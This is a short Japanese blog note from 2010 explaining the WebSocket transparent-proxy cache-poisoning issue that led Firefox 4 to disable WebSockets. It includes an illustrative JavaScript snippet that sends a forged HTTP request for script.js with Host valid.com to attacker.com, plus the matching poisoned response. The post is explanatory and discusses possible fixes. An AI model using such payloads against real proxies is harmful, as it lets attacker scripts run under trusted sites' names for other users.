http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/
Operaもdisableになるらしい(開発版では有効になっていた)ですがソース不明です。
問題となっているsecurity issueのreportはこちら。
http://www.adambarth.com/experimental/websocket.pdf
覚え書き程度に、どんな問題なのか書いておこうかな、と。
しかし、この問題は特にWebSocketに限った話じゃなくて、Flashなどでも起こるんだ、と言う事を記事にする人は書かなきゃ駄目だと思うんだ。
さてと。問題になっているのは、以下のようなケース。
ユーザAがとあるサイト(attacker.com)を見ちゃった。
attacker.comはWebSocketを利用し、こんなメッセージを送っていた。
var ws = new WebSocket("ws://attacker.com/poison");
ws.send(
"GET /script.js HTTP/1.1\n" +
"Host: valid.com\n\n"
);
このメッセージは、attacker.comへと配送されます。(websocketのconnectionが張られているので)
さて、attacker.comのWebSocket Serverは、そのrequestに対して、
ws.send(
"HTTP 200 OK\n" +
"Expires: 1年後の日付\n\n" +
"{SCRIPT本体}"
);
こんな回答をしてあげてる、としましょう。(便宜上、ws.sendで書いてますが、client socketに対してのwriteです)
以上のやりとりは、全てWebSocket Connectionの中での出来事です。特に問題がなさそうに見えます。
Flashでも同じ事が出来ますね。
http://d.hatena.ne.jp/Bayside/20080502/p1
問題になるのは、間に透過型プロキシがある場合。
先ほどのWebSocket Connectionの中でのGET - Responseですが、実はプロキシ側では通常のHTTP Requestと違いが分からないらしい。(不勉強で、本当かどうかは知りません)
すると、プロキシは先ほどのレスポンス、つまりscript.jsを、Host == valid.comのものだとしてcacheしてしまう、と。しかも、
cacheされちゃうとどうなるか。
もしvalid.comにscript.jsがあった場合(ありそうな例としてあげられているのが、google.comのga.js)、他の誰かがvalid.comを訪れた時にキャッシュヒットしちゃって、attacker.comにあったscript.jsがvalid.comのものとして実行されちゃいますよ、と。
こんな感じに読み取りましたが、間違ってたらご指摘くださいませ。
# ご指摘を受けましたので修正。ちょっと読み飛ばしちゃったところがありまして、もうひとつ例として挙げられています。追記しようかと思ったのですが、時間が無いので、詳細をお知りになりたい方は、原文を読んでいただくか、http://firefoxhacks.at.webry.info/201012/article_3.html とか、https://groups.google.com/group/socketapi-dev/browse_thread/thread/252531b595e071b6 このあたりをご参照ください。中途半端で、ごめんなさい。(^^;
http://www.adambarth.com/experimental/websocket.pdf
では、続いてこうすれば大丈夫だよ、と言う提案もされていらっしゃいますが、これはちょっと個人的に好きになれません。。。どうせ443固定にするんだったら、wss scheme + Server cert使えば良いじゃん、と思いますし。
Transparent proxyがServer cert返しちゃってるようなネット運用してる所は知りませんよ、とか言えるし。
以上、覚え書きまで。






